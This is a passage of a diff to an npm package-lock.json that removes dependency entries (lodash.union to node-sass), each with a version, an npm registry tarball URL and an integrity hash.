"https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", - "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=", - "dev": true - }, - "lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", - "dev": true - }, - "longest": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", - "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", - "dev": true - }, - "loose-envify": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz", - "integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=", - "requires": { - "js-tokens": "^3.0.0" - } - }, - "loud-rejection": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", - "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", - "dev": true, - "requires": { - "currently-unhandled": "^0.4.1", - "signal-exit": "^3.0.0" - } - }, - "lru-cache": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", - "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", - "dev": true, - "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "make-dir": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", - "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", - "dev": true, - "requires": { - "pify": "^3.0.0" - }, - "dependencies": { - "pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true - } - } - }, - "map-cache": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", - "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", - "dev": true - }, - "map-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", - "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", - "dev": true - }, - "map-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", - "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", - "dev": true, - "requires": { - "object-visit": "^1.0.0" - } - }, - "material-colors": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/material-colors/-/material-colors-1.2.6.tgz", - "integrity": "sha512-6qE4B9deFBIa9YSpOc9O0Sgc43zTeVYbgDT5veRKSlB2+ZuHNoVVxA1L/ckMUayV9Ay9y7Z/SZCLcGteW9i7bg==" - }, - "math-expression-evaluator": { - "version": "1.2.17", - "resolved": "https://registry.npmjs.org/math-expression-evaluator/-/math-expression-evaluator-1.2.17.tgz", - "integrity": "sha1-3oGf282E3M2PrlnGrreWFbnSZqw=", - "dev": true - }, - "math-random": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.1.tgz", - "integrity": "sha1-izqsWIuKZuSXXjzepn97sylgH6w=", - "dev": true - }, - "md5": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/md5/-/md5-2.2.1.tgz", - "integrity": "sha1-U6s41f48iJG6RlMp6iP6wFQBJvk=", - "dev": true, - "requires": { - "charenc": "~0.0.1", - "crypt": "~0.0.1", - "is-buffer": "~1.1.1" - } - }, - "mdn-data": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-1.1.4.tgz", - "integrity": "sha512-FSYbp3lyKjyj3E7fMl6rYvUdX0FBXaluGqlFoYESWQlyUTq8R+wp0rkFxoYFqZlHCvsUXGjyJmLQSnXToYhOSA==", - "dev": true - }, - "mem": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", - "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", - "dev": true, - "requires": { - "mimic-fn": "^1.0.0" - } - }, - "memory-fs": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", - "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", - "dev": true, - "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - } - }, - "meow": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", - "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", - "dev": true, - "requires": { - "camelcase-keys": "^2.0.0", - "decamelize": "^1.1.2", - "loud-rejection": "^1.0.0", - "map-obj": "^1.0.1", - "minimist": "^1.1.3", - "normalize-package-data": "^2.3.4", - "object-assign": "^4.0.1", - "read-pkg-up": "^1.0.1", - "redent": "^1.0.0", - "trim-newlines": "^1.0.0" - } - }, - "merge": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/merge/-/merge-1.2.0.tgz", - "integrity": "sha1-dTHjnUlJwoGma4xabgJl6LBYlNo=", - "dev": true - }, - "micromatch": { - "version": "2.3.11", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz", - "integrity": "sha1-hmd8l9FyCzY0MdBNDRUpO9OMFWU=", - "dev": true, - "requires": { - "arr-diff": "^2.0.0", - "array-unique": "^0.2.1", - "braces": "^1.8.2", - "expand-brackets": "^0.1.4", - "extglob": "^0.3.1", - "filename-regex": "^2.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.1", - "kind-of": "^3.0.2", - "normalize-path": "^2.0.1", - "object.omit": "^2.0.0", - "parse-glob": "^3.0.4", - "regex-cache": "^0.4.2" - } - }, - "miller-rabin": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.0.tgz", - "integrity": "sha1-SmL7HUKTPAVYOYL0xxb2+55sbT0=", - "dev": true, - "requires": { - "bn.js": "^4.0.0", - "brorand": "^1.0.1" - } - }, - "mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "dev": true, - "optional": true - }, - "mime-db": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", - "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", - "dev": true - }, - "mime-types": { - "version": "2.1.18", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", - "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", - "dev": true, - "requires": { - "mime-db": "~1.33.0" - } - }, - "mimic-fn": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", - "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", - "dev": true - }, - "mimic-response": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.0.tgz", - "integrity": "sha1-3z02Uqc/3ta5sLJBRub9BSNTRY4=", - "dev": true, - "optional": true - }, - "minimalistic-assert": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.0.tgz", - "integrity": "sha1-cCvi3aazf0g2vLP121ZkG2Sh09M=", - "dev": true - }, - "minimalistic-crypto-utils": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", - "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=", - "dev": true - }, - "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "minimist": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", - "dev": true - }, - "mississippi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", - "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", - "dev": true, - "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - } - }, - "mixin-deep": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz", - "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", - "dev": true, - "requires": { - "for-in": "^1.0.2", - "is-extendable": "^1.0.1" - }, - "dependencies": { - "is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "requires": { - "is-plain-object": "^2.0.4" - } - } - } - }, - "mixin-object": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", - "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=", - "dev": true, - "requires": { - "for-in": "^0.1.3", - "is-extendable": "^0.1.1" - }, - "dependencies": { - "for-in": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", - "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=", - "dev": true - } - } - }, - "mkdirp": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", - "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", - "dev": true, - "requires": { - "minimist": "0.0.8" - }, - "dependencies": { - "minimist": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", - "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", - "dev": true - } - } - }, - "mocha": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-4.1.0.tgz", - "integrity": "sha512-0RVnjg1HJsXY2YFDoTNzcc1NKhYuXKRrBAG2gDygmJJA136Cs2QlRliZG1mA0ap7cuaT30mw16luAeln+4RiNA==", - "dev": true, - "requires": { - "browser-stdout": "1.3.0", - "commander": "2.11.0", - "debug": "3.1.0", - "diff": "3.3.1", - "escape-string-regexp": "1.0.5", - "glob": "7.1.2", - "growl": "1.10.3", - "he": "1.1.1", - "mkdirp": "0.5.1", - "supports-color": "4.4.0" - }, - "dependencies": { - "commander": { - "version": "2.11.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz", - "integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==", - "dev": true - }, - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", - "dev": true - }, - "supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", - "dev": true, - "requires": { - "has-flag": "^2.0.0" - } - } - } - }, - "mocha-junit-reporter": { - "version": "1.23.1", - "resolved": "https://registry.npmjs.org/mocha-junit-reporter/-/mocha-junit-reporter-1.23.1.tgz", - "integrity": "sha512-qeDvKlZyAH2YJE1vhryvjUQ06t2hcnwwu4k5Ddwn0GQINhgEYFhlGM0DwYCVUHq5cuo32qAW6HDsTHt7zz99Ng==", - "dev": true, - "requires": { - "debug": "^2.2.0", - "md5": "^2.1.0", - "mkdirp": "~0.5.1", - "strip-ansi": "^4.0.0", - "xml": "^1.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - } - } - }, - "module-deps": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/module-deps/-/module-deps-6.1.0.tgz", - "integrity": "sha512-NPs5N511VD1rrVJihSso/LiBShRbJALYBKzDW91uZYy7BpjnO4bGnZL3HjZ9yKcFdZUWwaYjDz9zxbuP7vKMuQ==", - "dev": true, - "requires": { - "browser-resolve": "^1.7.0", - "cached-path-relative": "^1.0.0", - "concat-stream": "~1.6.0", - "defined": "^1.0.0", - "detective": "^5.0.2", - "duplexer2": "^0.1.2", - "inherits": "^2.0.1", - "JSONStream": "^1.0.3", - "parents": "^1.0.0", - "readable-stream": "^2.0.2", - "resolve": "^1.4.0", - "stream-combiner2": "^1.1.1", - "subarg": "^1.0.0", - "through2": "^2.0.0", - "xtend": "^4.0.0" - }, - "dependencies": { - "concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - } - } - }, - "moment": { - "version": "2.22.2", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz", - "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y=" - }, - "moment-timezone": { - "version": "0.5.21", - "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.21.tgz", - "integrity": "sha512-j96bAh4otsgj3lKydm3K7kdtA3iKf2m6MY2iSYCzCm5a1zmHo1g+aK3068dDEeocLZQIS9kU8bsdQHLqEvgW0A==", - "requires": { - "moment": ">= 2.9.0" - } - }, - "move-concurrently": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", - "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", - "dev": true, - "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" - }, - "mute-stream": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", - "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", - "dev": true - }, - "nan": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.9.2.tgz", - "integrity": "sha512-ltW65co7f3PQWBDbqVvaU1WtFJUsNW7sWWm4HINhbMQIyVyzIeyZ8toX5TC5eeooE6piZoaEh4cZkueSKG3KYw==", - "dev": true, - "optional": true - }, - "nanomatch": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", - "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", - "dev": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "fragment-cache": "^0.2.1", - "is-windows": "^1.0.2", - "kind-of": "^6.0.2", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true - }, - "array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true - }, - "kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true - } - } - }, - "natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", - "dev": true - }, - "neo-async": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.1.tgz", - "integrity": "sha512-3KL3fvuRkZ7s4IFOMfztb7zJp3QaVWnBeGoJlgB38XnCRPj/0tLzzLG5IB8NYOHbJ8g8UGrgZv44GLDk6CxTxA==", - "dev": true - }, - "nested-error-stacks": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/nested-error-stacks/-/nested-error-stacks-2.0.1.tgz", - "integrity": "sha512-SrQrok4CATudVzBS7coSz26QRSmlK9TzzoFbeKfcPBUFPjcQM9Rqvr/DlJkOrwI/0KcgvMub1n1g5Jt9EgRn4A==", - "dev": true - }, - "next-tick": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz", - "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=", - "dev": true - }, - "nice-try": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", - "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", - "dev": true - }, - "node-abi": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-2.3.0.tgz", - "integrity": "sha512-zwm6vU3SsVgw3e9fu48JBaRBCJGIvAgysDsqtf5+vEexFE71bEOtaMWb5zr/zODZNzTPtQlqUUpC79k68Hspow==", - "dev": true, - "optional": true, - "requires": { - "semver": "^5.4.1" - } - }, - "node-fetch": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", - "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", - "dev": true, - "requires": { - "encoding": "^0.1.11", - "is-stream": "^1.0.1" - } - }, - "node-gyp": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.6.2.tgz", - "integrity": "sha1-m/vlRWIoYoSDjnUOrAUpWFP6HGA=", - "dev": true, - "optional": true, - "requires": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "minimatch": "^3.0.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "2", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "optional": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "nopt": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", - "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, - "optional": true, - "requires": { - "abbrev": "1" - } - }, - "rimraf": { - "version": "2.2.8", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.2.8.tgz", - "integrity": "sha1-5Dm+Kq7jJzIZUnMPmaiSnk/FBYI=", - "dev": true, - "optional": true - }, - "semver": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", - "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", - "dev": true, - "optional": true - } - } - }, - "node-libs-browser": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", - "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", - "dev": true, - "requires": { - "assert": "^1.1.1", - "browserify-zlib": "^0.2.0", - "buffer": "^4.3.0", - "console-browserify": "^1.1.0", - "constants-browserify": "^1.0.0", - "crypto-browserify": "^3.11.0", - "domain-browser": "^1.1.1", - "events": "^1.0.0", - "https-browserify": "^1.0.0", - "os-browserify": "^0.3.0", - "path-browserify": "0.0.0", - "process": "^0.11.10", - "punycode": "^1.2.4", - "querystring-es3": "^0.2.0", - "readable-stream": "^2.3.3", - "stream-browserify": "^2.0.1", - "stream-http": "^2.7.2", - "string_decoder": "^1.0.0", - "timers-browserify": "^2.0.4", - "tty-browserify": "0.0.0", - "url": "^0.11.0", - "util": "^0.10.3", - "vm-browserify": "0.0.4" - }, - "dependencies": { - "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", - "dev": true - }, - "readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - }, - "timers-browserify": { - "version": "2.0.10", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.10.tgz", - "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", - "dev": true, - "requires": { - "setimmediate": "^1.0.4" - } - } - } - }, - "node-releases": { - "version": "1.0.0-alpha.10", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.0.0-alpha.10.tgz", - "integrity": "sha512-BSQrRgOfN6L/MoKIa7pRUc7dHvflCXMcqyTBvphixcSsgJTuUd24vAFONuNfVsuwTyz28S1HEc9XN6ZKylk4Hg==", - "dev": true, - "requires": { - "semver": "^5.3.0" - } - }, - "node-sass": { - "version": "4.13.1", - "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.13.1.tgz", - "integrity": "sha512-TTWFx+ZhyDx1Biiez2nB0L3YrCZ/8oHagaDalbuBSlqXgUPsdkUSzJsVxeDO9LtPB49+Fh3WQl3slABo6AotNw==", - "dev": true, - "requires": { - "async-foreach": "^0.1.3", - "chalk": "^1.1.1", - "cross-spawn": "^3.0.0", - "gaze": "^1.0.0", - "get-stdin": "^4.0.1", - "glob": "^7.0.3", - "in-publish": "^2.0.0", - "lodash": "^4.17.15", - "meow": "^3.7.0", - "mkdirp": "^0.5.1", - "nan": "^2.13.2", - "node-gyp": "^3.8.0", - "npmlog": "^4.0.0", - "request": "^2.88.0", - "sass-graph": "^2.2.4", - "stdout-stream": "^1.4.0", - "true-case-path": "^1.0.2" - }, - "dependencies": { - "ajv": { - "version": "6.11.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.11.0.tgz", - "integrity": "sha512-nCprB/0syFYy9fVYU1ox1l2KN8S9I+tziH8D4zdZuLT3N6RMlGSGt5FSTpAiHB/Whv8Qs1cWHma1aMKZyaHRKA==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "aws4": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz", - "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", - "dev": true - }, - "cross-spawn": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", - "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", - "dev": true, - "requires": { - "lru-cache": "^4.0.1", - "which": "^1.2.9" - } - }, - "extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "dev": true - }, - "fast-deep-equal": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", - "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==", - "dev": true - }, - "har-validator": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", - "dev": true, - "requires": { - "ajv": "^6.5.5", - "har-schema": "^2.0.0" - } - }, - "json-schema-traverse": { - "version": "0.4.1", - "resolved": 